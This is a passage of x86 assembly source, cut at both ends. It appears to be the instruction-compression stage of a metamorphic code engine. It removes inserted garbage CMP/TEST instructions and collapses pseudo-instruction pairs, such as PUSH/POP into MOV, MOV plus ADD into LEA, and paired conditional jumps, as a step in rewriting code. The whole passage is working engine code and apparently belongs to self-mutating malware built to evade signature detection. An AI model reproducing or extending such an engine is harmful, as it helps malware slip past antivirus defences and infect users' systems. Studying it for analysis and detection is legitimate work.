                and     ecx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ecx
                mov     [edi+1], eax
                mov     eax, 41h
                jmp   @@Single_SetInstruction
        @@Single_Next_LEA_SetADD_2:
                mov     ecx, [edi+1]     ; Set ADD Reg,Reg (from
                and     ecx, 0FFFFFF00h  ; LEA Reg,[Reg+Reg2])
                and     eax, 0FFh
                add     eax, ecx
                mov     [edi+1], eax
                mov     eax, [edi+3]
                mov     [edi+7], eax
                xor     eax, eax
                jmp   @@Single_SetInstruction
        @@Single_Next_LEA_SetMOV:
                mov     ecx, 40h      ; Set MOV Reg,Imm (from LEA Reg,[Imm])
                mov     eax, [edi+7]
                and     eax, 0FFh
                mov     ebx, [edi+1]
                and     ebx, 0FFFFFF00h
                add     eax, ebx
                mov     [edi+1], eax
        @@Single_Next_LEA_SetInstructionECX:
                mov     eax, [edi+3]
                mov     [edi+7], eax
                jmp   @@Single_SetInstructionECX
        @@Single_Next_LEA_CheckADD:
                mov     eax, [edi+2]  ; Check another possibility for ADD
                and     eax, 0FFh
                cmp     eax, 8        ; If Index2 == 8 (not set), set
                jz    @@Single_Next_LEA_SetADD     ; ADD Reg,Imm
                mov     eax, [edi+3]      ; If Index2 != 8 and memory dword
                or      eax, eax          ; addition is != 0, end
                jnz   @@Single_End
        @@Single_Next_LEA_SetADDRegReg:
                mov     eax, [edi+2]      ; Set ADD Reg,Reg
                mov     ebx, [edi+1]
                and     ebx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ebx
                mov     [edi+1], eax
        @@Single_Next_LEA_SetADDRegReg_2:
                mov     eax, 01h          ; Pseudo-opcode of ADD Reg,Reg
                jmp   @@Single_SetInstruction
        @@Single_Next_LEA_SetADD:
                mov     eax, [edi+3]
                mov     [edi+7], eax  ; Set memory dword addition as the
                xor     eax, eax      ; Imm to add in ADD Reg,Imm
                jmp   @@Single_SetInstruction
        @@Single_Next_LEA_CheckMOVRegReg:
                mov     eax, [edi+3]  ; If the dword addition is 0, set
                or      eax, eax      ; MOV Reg,Reg2
                jnz   @@Single_End
        @@Single_Next_LEA_SetMOVRegReg:
                mov     eax, 41h      ; Pseudo-opcode of MOV Reg,Reg
                jmp   @@Single_SetInstruction

      @@Single_Next26:
                cmp     eax, 4Fh      ; MOV Mem,Mem?
                jnz   @@Single_Next27
                mov     esi, [edi+7]  ; If src == dest, set NOP
                mov     eax, [edi+1]  ; This could be, for example, a
                cmp     eax, [esi+1]  ; compression of the sequence
                jnz   @@Single_End    ; PUSH [EAX+123] / POP [EAX+123]
                mov     eax, [edi+3]
                cmp     eax, [esi+3]
                jz    @@Single_SetNOP

      @@Single_Next27:
                cmp     eax, 38h      ; CMP instruction?
                jb    @@Single_Next28
                cmp     eax, 3Ch
                ja    @@Single_Next28
      @@Single_Next27_Common:
                mov     edx, edi     ; Let's get the next instruction. It the
      @@Single_Next27_GetNextInstr:  ; next instruction is not a conditional
                add     edx, 10h     ; jump, this CMP is a garbage instruction,
                mov     eax, [edx+0Bh] ; so we NOP it
                and     eax, 0FFh
                or      eax, eax
                jnz   @@Single_SetNOP
                mov     eax, [edx]
                and     eax, 0FFh
                cmp     eax, 0FFh
                jz    @@Single_Next27_GetNextInstr
                cmp     eax, 70h
                jb    @@Single_SetNOP
                cmp     eax, 7Fh
                ja    @@Single_SetNOP
                jmp   @@Single_End


      @@Single_Next28:
                cmp     eax, 38h+80h   ; 8 bits CMP instruction?
                jb    @@Single_Next29
                cmp     eax, 3Ch+80h
                jbe   @@Single_Next27_Common

      @@Single_Next29:
                cmp     eax, 48h       ; Do the same with TEST. A single test
                jb    @@Single_Next30  ; (without conditional jump) is garbage
                cmp     eax, 4Ch       ; for sure.
                jbe   @@Single_Next27_Common

      @@Single_Next30:
                cmp     eax, 48h+80h   ; 8 bits TEST instruction?
                jb    @@Single_Next31
                cmp     eax, 4Ch+80h
                jbe   @@Single_Next27_Common

      @@Single_Next31:

      @@Single_End:
;; Once here we check if it's a 8 bits instruction. If it's the case,
;; we save for later the register it's using (concretely, for register
;; translation). The last one stored here is the one we are using along
;; the engine.

                mov     eax, [edi]   ; Get the instruction
                and     eax, 0FFh
                cmp     eax, 80h+00  ; Check if it's a 8 bits opcode
                jb    @@Check_Double
                cmp     eax, 80h+4Ch
                ja    @@Check_Double
                and     eax, 7
                or      eax, eax     ; If it is, check if it's MOV Reg,Imm,
                jz    @@GetFrom_RegImm
                cmp     eax, 1       ; MOV Reg,Reg,
                jz    @@GetFrom_RegReg
                cmp     eax, 2       ; MOV Reg,Mem or
                jz    @@GetFrom_RegMem
                cmp     eax, 3       ; MOV Mem,Reg, and then we get the
                jnz   @@Check_Double ; register and save it, having then
      @@GetFrom_MemReg:              ; the 8 bits register that we are using
      @@GetFrom_RegMem:              ; along the code. This register must be
      @@GetFrom_RegReg:              ; treated specially by the register
                mov     eax, [edi+7] ; translator of the expander, because must
                and     eax, 0FFh    ; be one of the general use registers
                jmp   @@GetFrom_OK   ; (EAX, ECX, EDX and EBX)
      @@GetFrom_RegImm:
                mov     eax, [edi+1]
                and     eax, 0FFh
      @@GetFrom_OK:
                mov     [ebp+Register8Bits], eax ; Save the register


;;; Pairs of instructions. We try to match known pairs to merge them to the
;;; simple one-instruction form.
      @@Check_Double:
                mov     esi, edi
                call    IncreaseEIP   ; Increase pointer and get the second
                cmp     edi, [ebp+AddressOfLastInstruction] ; instruction.
                jz    @@EndNoCompressed
                mov     eax, [edi+0Bh]
                and     eax, 0FFh
                or      eax, eax
                jnz   @@EndNoCompressed ; We don't join instructions with
                                        ; labels on them.
             ;; Pair to check is at <[esi],[edi]>

                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 68h     ; Check pair with PUSH Imm
                jnz   @@Double_Next00
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 58h     ; PUSH Imm/POP Reg?
                jz    @@Double_Next_PutMOVRegImm
                cmp     eax, 59h     ; PUSH Imm/POP Mem?
                jnz   @@EndNoCompressed
        @@Double_Next_PutMOVMemImm:
                mov     eax, [edi+1]
                mov     [esi+1], eax
                mov     eax, [edi+3]
                mov     [esi+3], eax
                mov     eax, 44h     ; Set MOV Mem,Imm
                jmp   @@Double_Next_SetInstruction
        @@Double_Next_PutMOVRegImm:
                mov     eax, [edi+1]
                mov     [esi+1], eax
                mov     eax, 40h     ; Set MOV Reg,Imm
      @@Double_Next_SetInstruction:
                mov     ebx, [esi]
                and     ebx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ebx
                mov     [esi], eax
      @@Double_Next_SetNOP:
                mov     eax, 0FFh    ; Set NOP at second instruction
                mov     [edi], al
                jmp   @@EndCompressed

      @@Double_Next00:
                ;mov     al, [esi]
                cmp     eax, 50h     ; Check pair beginning with PUSH Reg
                jnz   @@Double_Next01
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 58h     ; PUSH Reg/POP Reg?
                jz    @@Double_Next_PushPop
                cmp     eax, 0FEh    ; PUSH Reg/RET?
                jz    @@Double_Next00_JMPReg
                cmp     eax, 59h     ; PUSH Reg/POP Mem?
                jnz   @@Double_End
                mov     eax, [esi+1]
                mov     ebx, [esi+7]
                and     ebx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ebx
                mov     [esi+7], eax
                mov     eax, [edi+1]
                mov     [esi+1], eax
                mov     eax, [edi+3]
                mov     [esi+3], eax
                mov     eax, 43h     ; If PUSH Reg/POP Mem, set MOV Mem,Reg
                jmp   @@Double_Next_SetInstruction
        @@Double_Next_PushPop:
                mov     eax, [edi+1]
                mov     [esi+7], eax
                mov     eax, 41h     ; If PUSH Reg/POP Reg, set MOV Reg,Reg
                jmp   @@Double_Next_SetInstruction
        @@Double_Next00_JMPReg:
                mov     eax, 0EDh    ; If PUSH Reg/RET, set JMP Reg
                jmp   @@Double_Next_SetInstruction

      @@Double_Next01:
                ;mov     al, [esi]
                cmp     eax, 51h     ; Check pair beginning with PUSH Mem
                jnz   @@Double_Next02
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 58h     ; PUSH Mem/POP Reg?
                jz    @@Double_Next01_PushPop
                cmp     eax, 59h     ; PUSH Mem/POP Mem?
                jnz   @@Double_End
        @@Double_Next01_MOVMemMem:
                mov     [esi+7], edi
                mov     [edi+7], esi
                mov     eax, 4Fh     ; If PUSH Mem/POP Mem, MOV Mem,Mem
                jmp   @@Double_Next_SetInstruction
        @@Double_Next01_PushPop:
                mov     eax, [edi+1]
                mov     ebx, [edi+1]
                and     ebx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ebx
                mov     [esi+7], eax
                mov     eax, 42h     ; If PUSH Mem/POP Reg, set MOV Reg,Mem
                jmp   @@Double_Next_SetInstruction

      @@Double_Next02:
                mov     eax, [esi+1]
                cmp     eax, [edi+1]
                jnz   @@Double_Next_NoMem
                mov     eax, [esi+3]    ; If bytes from +1 to +6 coincides,
                cmp     eax, [edi+3]    ; it can be a memory operation with
                jnz   @@Double_Next_NoMem ; the same memory variable. If not,
                                        ; just jump to check other things

    ; From now and while we are checking memory variable using instructions,
    ; we are sure that they use the same memory variable.
                mov     eax, [esi]
                and     eax, 0FFh
;                 cmp     eax, 0FBh
;                 jz    @@Double_Next02_Check
                cmp     eax, 0F6h       ; Check if it's APICALL_STORE
                jz    @@Double_Next02_Check   ; If it is, jump (it's just like
                                              ; a MOV Mem,Reg)
                cmp     eax, 43h        ; MOV Reg,Mem?
                jnz   @@Double_Next03
      @@Double_Next02_Check:
                mov     eax, [edi]     ; Get the second instruction
                and     eax, 0FFh
                cmp     eax, 51h       ; PUSH Mem?
                jz    @@Double_Next02_PushReg
                cmp     eax, 4Ch       ; OP Mem,Imm?
                jbe   @@Double_Next_OPRegReg
                cmp     eax, 0EAh      ; CALL Mem?
                jz    @@Double_Next02_CALLMem
                cmp     eax, 0EBh      ; JMP Mem?
                jnz   @@Double_End
        @@Double_Next02_JMPMem:
                mov     eax, 0EDh      ; MOV Mem,Reg + JMP Mem = JMP Reg
        @@Double_Next02_XXXMem:
                push    eax
                mov     eax, [esi+7]
                mov     ebx, [esi+1]
                and     ebx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ebx
                mov     [esi+1], eax
                pop     eax
                jmp   @@Double_Next_SetInstruction
        @@Double_Next02_CALLMem:
                mov     eax, 0ECh      ; MOV Mem,Reg + CALL Mem = CALL Reg
                jmp   @@Double_Next02_XXXMem
        @@Double_Next_OPRegReg:
                and     eax, 7Fh       ; Check operation
                cmp     eax, 3Bh       ; Check for CMP Mem,Reg
                jz    @@Double_Next02_MergeCheck ; If it is, merge the check
                cmp     eax, 4Bh       ; Check for TEST Mem,Reg
                jz    @@Double_Next02_MergeCheck ; If it is, merge
                cmp     eax, 4Ah       ; Check for TEST Reg,Mem (in fact, the
                jz    @@Double_Next02_MergeCheck ; same x86 opcode)
                and     eax, 7
                cmp     eax, 2         ; Check for OP Reg,Mem
                jnz   @@Double_End     ; If not, finish
                mov     eax, [esi+7]   ; If so, merge it:
                mov     [esi+1], eax   ; MOV Mem,Reg + OP Reg,Mem = OP Reg,Reg
                mov     eax, [edi+7]   ; We don't care about the two registers
                mov     [esi+7], eax   ; being equal, because that is going to
                                       ; be checked by the scanning of single
                                       ; instructions
        @@Double_Next02_SetOP:
                mov     eax, [edi]     ; Get the OP
                and     eax, 0F8h      ; Transform it to OP Reg,Reg
                add     eax, 1
                jmp   @@Double_Next_SetInstruction
        @@Double_Next02_MergeCheck:
                mov     eax, [edi+7]
                mov     [esi+1], eax   ; Merge the check (if CMP/TEST Reg,Mem)
                jmp   @@Double_Next02_SetOP
        @@Double_Next02_PushReg:
                mov     eax, [esi+7]
                mov     [esi+1], eax
                mov     eax, 50h       ; MOV Mem,Reg/PUSH Mem = PUSH Reg
                jmp   @@Double_Next_SetInstruction

      @@Double_Next03:
                ;mov     al, [esi]
                cmp     eax, 0C3h   ; Check pair beginning with MOV Mem8,Reg8
                jnz   @@Double_Next04
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 00h+80h  ; Check if it's a normal operation
                jb    @@Double_End    ; (pseudo-opcodes 80-CC)
                cmp     eax, 4Ch+80h
                jbe   @@Double_Next_OPRegReg
                jmp   @@Double_End

      @@Double_Next04:
                cmp     eax, 44h    ; Check if it begins with MOV Mem,Imm
                jnz   @@Double_Next05
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 51h    ; PUSH Mem?
                jz    @@Double_Next04_PushImm ; Set PUSH Imm
                cmp     eax, 4Ch
                ja    @@Double_Next05
                and     eax, 7
                cmp     eax, 2         ; OP Reg,Mem?
                jnz   @@Double_Next05  ; If not, check next pair
        @@Double_Next_Merge_MOV_OP:
                mov     eax, [edi+7]
                mov     ebx, [esi+1]
                and     ebx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, ebx
                mov     [esi+1], eax
                mov     eax, [edi]
                and     eax, 0F8h   ; MOV Mem,Imm + OP Reg,Mem = OP Reg,Imm
                jmp   @@Double_Next_SetInstruction
        @@Double_Next04_PushImm:
                mov     eax, 68h    ; MOV Mem,Imm + PUSH Mem = PUSH Imm
                jmp   @@Double_Next_SetInstruction

      @@Double_Next05:
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 44h+80h  ; Same as above, but 8 bits operations
                jnz   @@Double_Next06
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 00h+80h
                jb    @@Double_Next06
                cmp     eax, 4Ch+80h
                ja    @@Double_Next06
                and     eax, 7
                cmp     eax, 2
                jnz   @@Double_Next06
                jmp   @@Double_Next_Merge_MOV_OP

      @@Double_Next06:
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 59h     ; POP Mem?
                jnz   @@Double_Next_NoMem
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 42h     ; POP Mem + MOV Reg,Mem?
                jz    @@Double_Next06_POPReg
                cmp     eax, 4Fh     ; POP Mem + MOV Mem,Mem?
                jz    @@Double_Next06_POPMem
                cmp     eax, 51h     ; POP Mem + PUSH Mem?
                jz    @@Double_Next_SetDoubleNOP
                cmp     eax, 0EBh    ; POP Mem + JMP Mem?
                jnz   @@Double_Next_NoMem
                mov     eax, 0FEh    ; POP Mem + JMP Mem = RET
                jmp   @@Double_Next_SetInstruction
        @@Double_Next06_POPReg:
                mov     eax, [edi+7]
                mov     [esi+1], eax
                mov     eax, 58h     ; POP Mem + MOV Reg,Mem = POP Reg
                jmp   @@Double_Next_SetInstruction
        @@Double_Next06_POPMem:
                mov     ebx, [edi+7]
                mov     eax, [ebx+1]
                mov     [esi+1], eax
                mov     eax, [ebx+3]
                mov     [esi+3], eax ; POP Mem + MOV Mem2,Mem = POP Mem2
                jmp   @@Double_Next_SetNOP
        @@Double_Next_SetDoubleNOP:
                mov     eax, 0FFh    ; POP Mem + PUSH Mem = NOP
                jmp   @@Double_Next_SetInstruction


      @@Double_Next_NoMem:

                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 40h       ; MOV Reg,Imm?
                jnz   @@Double_Next07
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 42h+80h   ; MOV Reg,Imm + MOV Reg8,Mem8?
                jz    @@Double_Next06_MaybeMOVZX
                cmp     eax, 1         ; MOV Reg,Imm + ADD Reg,Reg?
                jnz   @@Double_Next07
                mov     eax, [esi+1]   ; MOV Reg,Imm + ADD Reg,Reg2 =
                and     eax, 0FFh      ; = LEA Reg,[Reg2+Imm]
                mov     ebx, [edi+7]
                and     ebx, 0FFh
                cmp     eax, ebx
                jnz   @@Double_Next07
                mov     eax, [esi+7]
                mov     [esi+3], eax
                mov     eax, [esi+1]
                mov     [esi+7], eax
                mov     eax, [edi+1]
                and     eax, 0FFh
                mov     ebx, [esi+1]
                and     ebx, 0FFFFFF00h
                add     eax, ebx
                mov     [esi+1], eax
        @@Double_Next06_SetLEA:
                mov     eax, [esi+2]
                and     eax, 0FFFFFF00h
                add     eax, 8
                mov     [esi+2], eax
                mov     eax, 0FCh
                jmp   @@Double_Next_SetInstruction
      @@Double_Next06_MaybeMOVZX:
                mov     eax, [esi+7]
                or      eax, eax
                jnz   @@Double_Next07
                mov     eax, [esi+1]
                and     eax, 0FFh
                mov     ebx, [edi+7]
                and     ebx, 0FFh
                cmp     eax, ebx
                jnz   @@Double_Next07
                mov     ebx, [edi+1]
                and     ebx, 0FFh
                cmp     eax, ebx
                jz    @@Double_Next07
                mov     ebx, [edi+2]
                and     ebx, 0Fh
                cmp     eax, ebx
                jz    @@Double_Next07
                mov     [esi+7], eax
                mov     eax, [edi+1]
                mov     [esi+1], eax
                mov     eax, [edi+3]
                mov     [esi+3], eax
                mov     eax, 0F8h   ; MOV Reg,0+MOV Reg8,Mem8=MOVZX Reg,Mem8
                jmp   @@Double_Next_SetInstruction

      @@Double_Next07:
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 41h    ; MOV Reg,Reg?
                jnz   @@Double_Next08
                mov     eax, [edi]
                and     eax, 0FFh
                or      eax, eax    ; MOV Reg,Reg + ADD Reg,Imm?
                jz    @@Double_Next07_LEA01
                cmp     eax, 1      ; MOV Reg,Reg + ADD Reg,Reg?
                jnz   @@Double_Next08
                mov     eax, [esi+7]
                and     eax, 0FFh
                mov     ebx, [edi+7]
                and     ebx, 0FFh
                cmp     eax, ebx
                jnz   @@Double_Next08
                mov     eax, [edi+1]
                mov     [esi+2], eax
                xor     eax, eax
                mov     [esi+3], eax    ; MOV Reg,Reg2 + ADD Reg,Reg3 =
                mov     eax, 0FCh       ; = LEA Reg,[Reg2+Reg3]
                jmp   @@Double_Next_SetInstruction
        @@Double_Next07_LEA01:
                mov     eax, [esi+7]
                and     eax, 0FFh
                mov     ebx, [edi+1]
                and     ebx, 0FFh
                cmp     eax, ebx
                jnz   @@Double_Next08
                mov     eax, [edi+7]  ; MOV Reg,Reg2 + ADD Reg,Imm =
                mov     [esi+3], eax  ; = LEA Reg,[Reg2+Imm]
                jmp   @@Double_Next06_SetLEA

      @@Double_Next08:
                mov     eax, [esi]
                and     eax, 0FFh
                or      eax, eax      ; ADD Reg,Imm?
                jnz   @@Double_Next09
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 01h      ; ADD Reg,Imm + ADD Reg,Reg2?
                jnz   @@Double_Next09
                mov     eax, [esi+1]
                and     eax, 0FFh
                mov     ebx, [edi+7]
                and     ebx, 0FFh
                cmp     eax, ebx
                jnz   @@Double_Next09
                mov     eax, [edi+1]
                mov     [esi+2], eax
                mov     eax, [esi+7]
                mov     [esi+3], eax
                mov     eax, [esi+1]
                mov     [esi+7], eax
                mov     eax, 0FCh     ; Merge to LEA
                jmp   @@Double_Next_SetInstruction

      @@Double_Next09:
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 01h      ; ADD Reg,Reg?
                jnz   @@Double_Next10
                mov     eax, [edi]
                and     eax, 0FFh
                or      eax, eax      ; ADD Reg,Imm?
                jnz   @@Double_Next10
                mov     eax, [esi+7]
                cmp     al, [edi+1]
                jnz   @@Double_Next10
                mov     eax, [esi+1]
                mov     [esi+2], al
                mov     eax, [esi+7]
                mov     [esi+1], al
                mov     eax, [edi+7]
                mov     [esi+3], eax
                mov     eax, 0FCh     ; Merge to LEA
                jmp   @@Double_Next_SetInstruction

      @@Double_Next10:
                xor     eax, eax
                mov     al, [esi]
                cmp     eax, 4Ch      ; Generic OP?
                ja    @@Double_Next11
                mov     al, [edi]
                cmp     eax, 4Ch      ; Generic OP + Generic OP?
                ja    @@Double_Next11
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 4        ; OP Mem,Imm + Generic OP?
                jz    @@Double_Next10_OPMemImm
                or      eax, eax      ; OP Reg,Imm + Generic OP?
                jnz   @@Double_Next11
        @@Double_Next10_OPRegImm:
                mov     eax, [edi]
                and     eax, 7
                or      eax, eax      ; OP Reg,Imm + OP Reg,Imm?
                jnz   @@Double_Next11
                mov     eax, [esi+1]
                cmp     al, [edi+1]   ; 1st Reg == 2nd Reg?
                jnz   @@Double_Next11
                xor     ebx, ebx
        @@Double_Next_CalculateOperation:
                push    ebx
                mov     ecx, [esi+7]
                mov     edx, [edi+7]
        @@Double_Next_CalculateOperation_2:
                mov     eax, [edi]
                and     eax, 78h      ; Get 2nd OP
                mov     ebx, eax
                mov     eax, [esi]
                and     eax, 78h      ; Get 1st OP
                call    CalculateOperation ; Merge the operations
                pop     ebx
                cmp     eax, 0FEh     ; Can be merged?
                jz    @@Double_End    ; If not, check triplet
                cmp     eax, 0FFh     ; OP Reg,Imm + MOV Reg,Imm?
                jz    @@Double_Next_SetNOPAt1st ; Then, eliminate first
                mov     [esi+7], ecx
                add     eax, ebx      ; Set merged operation
                jmp   @@Double_Next_SetInstruction
        @@Double_Next_SetNOPAt1st:
                mov     eax, 0FFh     ; Set NOP at first instruction
                mov     [esi], al
                jmp   @@EndCompressed ; Return with success
        @@Double_Next10_OPMemImm:
                mov     eax, [edi]
                and     eax, 7
                cmp     eax, 4        ; OP Mem,Imm + OP Mem,Imm?
                jnz   @@Double_Next11
                mov     eax, [esi+1]
                cmp     eax, [edi+1]  ; Are mem operands the same?
                jnz   @@Double_Next11
                mov     eax, [esi+3]
                cmp     eax, [edi+3]
                jnz   @@Double_Next11
                mov     ebx, 4        ; If so, jump to try merging OPs
                jmp   @@Double_Next_CalculateOperation

      @@Double_Next11:
                xor     eax, eax
                mov     al, [esi]     ; Do the same as above, but with
                cmp     eax, 00h+80h  ; 8 bits operations
                jb    @@Double_Next12
                cmp     eax, 4Ch+80h
                ja    @@Double_Next12
                mov     al, [edi]
                cmp     eax, 00h+80h
                jb    @@Double_Next12
                cmp     eax, 4Ch+80h
                ja    @@Double_Next12
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 4
                jz    @@Double_Next11_OPMemImm_8b
                or      eax, eax
                jnz   @@Double_Next12
        @@Double_Next11_OPRegImm_8b:
                mov     eax, [edi]
                and     eax, 7
                or      eax, eax
                jnz   @@Double_Next12
                mov     ebx, 80h
        @@Double_Next11_CalculateOperation_8b:
                push    ebx
                xor     eax, eax
                mov     al, [esi+7]
                mov     ecx, eax
                mov     al, [edi+7]
                mov     edx, eax
                jmp   @@Double_Next_CalculateOperation_2
        @@Double_Next11_OPMemImm_8b:
                mov     eax, [edi]
                and     eax, 7
                cmp     eax, 4
                jnz   @@Double_Next12
                mov     eax, [esi+1]
                cmp     eax, [edi+1]
                jnz   @@Double_Next12
                mov     eax, [esi+3]
                cmp     eax, [edi+3]
                jnz   @@Double_Next12
                mov     ebx, 84h
                jmp   @@Double_Next11_CalculateOperation_8b

      @@Double_Next12:
                xor     eax, eax
                mov     al, [esi]
                cmp     eax, 0FCh     ; LEA?
                jnz   @@Double_Next13
                mov     al, [edi]
                cmp     eax, 01h      ; LEA + ADD Reg,Reg?
                jz    @@Double_Next12_MergeLEAADDReg
                or      eax, eax      ; LEA + ADD Reg,Imm?
                jnz   @@Double_Next13
        @@Double_Next12_MergeLEAADD:
                mov     eax, [esi+7]  ; Check if destiny in LEA is the same
                cmp     al, [edi+1]   ; as destiny in ADD
                jnz   @@Double_Next13
                mov     eax, [edi+7]  ; If so, add the Imm of the ADD to the
                add     [esi+3], eax  ; dword addition in the LEA and set
                jmp   @@Double_Next_SetNOP ; NOP at first instruction
        @@Double_Next12_MergeLEAADDReg:
                mov     eax, [esi+7]
                cmp     al, [edi+7]   ; Check if destinies are the same
                jnz   @@Double_Next13
                mov     eax, 8
                cmp     al, [esi+1]   ; Look for a free space to insert the
                jz    @@Double_Next12_SetFirstReg ; register addition in the
                cmp     al, [esi+2]               ; LEA
                jz    @@Double_Next12_SetSecondReg
                mov     eax, [edi+1]  ; If the register is already inserted,
                cmp     al, [esi+2]   ;  set a *2 in the multiplicator
                jz    @@Double_Next12_AddScalar
                cmp     al, [esi+1]
                jnz   @@Double_Next13
                mov     eax, [esi+2]
                cmp     al, 40h       ; If multiplicator is already *2 or
                jae   @@Double_Next13 ;  greater, don't shrink
                push    eax           ; Exchange registers, to set the one
                mov     eax, [esi+1]  ;  repeated in the second slot of the
                add     eax, 40h      ;  indexes.
                mov     [esi+2], al   ; Set *2
                pop     eax
                mov     [esi+1], al
                jmp   @@Double_Next_SetNOP ; Eliminate first instruction
        @@Double_Next12_AddScalar:
                mov     eax, [esi+2]  ; Set *2 to the second index
                add     eax, 40h
                mov     [esi+2], al
                jmp   @@Double_Next_SetNOP
        @@Double_Next12_SetFirstReg:
                mov     eax, [edi+1] ; Set a new index register
                mov     [esi+1], al
                jmp   @@Double_Next_SetNOP
        @@Double_Next12_SetSecondReg:
                mov     eax, [edi+1] ; Set a new second index register
                mov     [esi+2], al
                jmp   @@Double_Next_SetNOP

      @@Double_Next13:
                xor     eax, eax
                mov     al, [esi]
                cmp     eax, 4Fh     ; MOV Mem,Mem?
                jnz   @@Double_Next14
                mov     al, [edi]
                cmp     eax, 4Fh     ; MOV Mem,Mem2 + MOV Mem2,Mem3?
                jz    @@Double_Next13_MergeMOVs ; Then, merge them
                cmp     eax, 4Ch
                ja    @@Double_Next13_NotOPRegMem
        @@Double_Next13_OPRegMem_2:
                and     eax, 7
                cmp     eax, 2       ; MOV Mem,Mem2 + OP Reg,Mem?
                jz    @@Double_Next13_OPRegMem
                mov     al, [edi]
                jmp   @@Double_Next13_NotOPRegMem2
        @@Double_Next13_NotOPRegMem:
                cmp     eax, 00h+80h ; Same with 8 bits?
                jb    @@Double_Next13_NotOPRegMem2
                cmp     eax, 4Ch+80h
                jbe   @@Double_Next13_OPRegMem_2
        @@Double_Next13_NotOPRegMem2:
                cmp     eax, 43h     ; Merge MOVs
                jz    @@Double_Next13_MOVMemReg
;                 cmp     eax, 0FBh
;                 jz    @@Double_Next13_MOVMemReg
                cmp     eax, 0F6h    ; APICALL_STORE = MOV Mem,EAX
                jz    @@Double_Next13_MOVMemReg
                cmp     eax, 44h     ; MOV Mem,Mem2 + MOV Mem2,Imm?
                jz    @@Double_Next13_MOVMemImm
                cmp     eax, 0EAh    ; MOV Mem,Mem2 + CALL Mem?
                jz    @@Double_Next13_CALLMem
                cmp     eax, 0EBh    ; MOV Mem,Mem2 + JMP Mem?
                jnz   @@Double_Next14
        @@Double_Next13_JMPMem:
        @@Double_Next13_CALLMem:
        @@Double_Next13_OPRegMem:
                mov     ebx, [esi+7]  ; Merge Mem operands
                mov     eax, [ebx+1]
                cmp     eax, [edi+1]
                jnz   @@Double_Next14
                mov     eax, [ebx+3]
                cmp     eax, [edi+3]
                jnz   @@Double_Next14
                mov     eax, [esi+1]
                mov     [edi+1], eax
                mov     eax, [esi+3]
                mov     [edi+3], eax
                jmp   @@Double_Next_SetNOPAt1st
        @@Double_Next13_MergeMOVs:
                mov     ebx, [esi+7] ; MOV Mem,Mem2 + MOV Mem2,Mem3 =
                mov     eax, [ebx+1] ; = MOV Mem,Mem3
                cmp     eax, [edi+1]
                jnz   @@Double_Next14
                mov     eax, [ebx+3]
                cmp     eax, [edi+3]
                jnz   @@Double_Next14
                mov     eax, [edi+7]
                mov     [esi+7], eax
                mov     [eax+7], esi
                jmp   @@Double_Next_SetNOP
        @@Double_Next13_MOVMemReg:
        @@Double_Next13_MOVMemImm:
                mov     ebx, [esi+7]  ; MOV Mem,Mem2 + MOV Mem2,Reg/Imm =
                mov     eax, [ebx+1]  ; = MOV Mem,Reg/Imm
                cmp     eax, [edi+1]
                jnz   @@Double_Next14
                mov     eax, [ebx+3]
                cmp     eax, [edi+3]
                jz    @@Double_Next_SetNOPAt1st

      @@Double_Next14:
                xor     eax, eax
                mov     al, [esi]
                cmp     eax, 70h     ; Jcc?
                jb    @@Double_Next15
                cmp     eax, 7Fh
                ja    @@Double_Next15
                mov     al, [edi]
                cmp     eax, 0E9h    ; Jcc + JMP?
                jz    @@Double_Next14_CheckJMP
                cmp     eax, 70h
                jb    @@Double_Next15
                cmp     eax, 7Fh     ; Jcc + Jcc?
                ja    @@Double_Next15
                mov     eax, [edi+1] ; Check if they point to the next
                cmp     eax, [esi+1] ; label
                jnz   @@Double_Next15
                mov     eax, [esi]
                and     eax, 0Fh
                mov     ebx, eax
                mov     eax, [edi]
                and     eax, 0Fh
                ; EAX = Flag test 1
                ; EBX = Flag test 2
                call    GetRealCheck ; Merge the flag checking
                cmp     eax, 0FFh
                jz    @@Double_End
                add     eax, 70h     ; Add 70 to the result
                cmp     eax, 0E9h    ; If Jcc + Jcc == JMP, set it, and jump
                jz    @@Double_Next32_JMP ; to eliminate the code until the
                                          ; next label
                jmp   @@Double_Next_SetInstruction
      @@Double_Next14_CheckJMP:
                mov     eax, [edi+1] ; Jcc @123 + JMP @123 = JMP @123
                cmp     eax, [esi+1]
                jz    @@Double_Next_SetNOPAt1st
                jmp   @@Double_End

      @@Double_Next15:
;                 mov     edx, 40h
;                 call    Check_OP_MOV
;                 cmp     eax, 0FFh               ; This makes many problems!
;                 jz    @@Double_Next_SetNOPAt1st ;
                                                  ; Disabled.
      @@Double_Next16:
;                 mov     edx, 0C0h
;                 call    Check_OP_MOV
;                 cmp     eax, 0FFh
;                 jz    @@Double_Next_SetNOPAt1st

      @@Double_Next17:
                xor     eax, eax
                mov     al, [esi]
                cmp     eax, 0E0h    ; NOT Reg?
                jnz   @@Double_Next18
                mov     ebx, 0E4h    ; NOT Reg + NEG Reg?
                xor     ecx, ecx
                mov     edx, 1       ; Set ADD Reg,1
        @@Double_Next_Check_NOT_OP:
                xor     eax, eax
                mov     al, [edi]
                cmp     eax, ebx ; 0E4h
                jz    @@Double_Next17_ADDReg ; Check NOT/NEG + ADD,1/-1
                cmp     eax, ecx ; 00h
                jnz   @@Double_End
        @@Double_Next17_NEGReg:
                mov     eax, [esi+1]
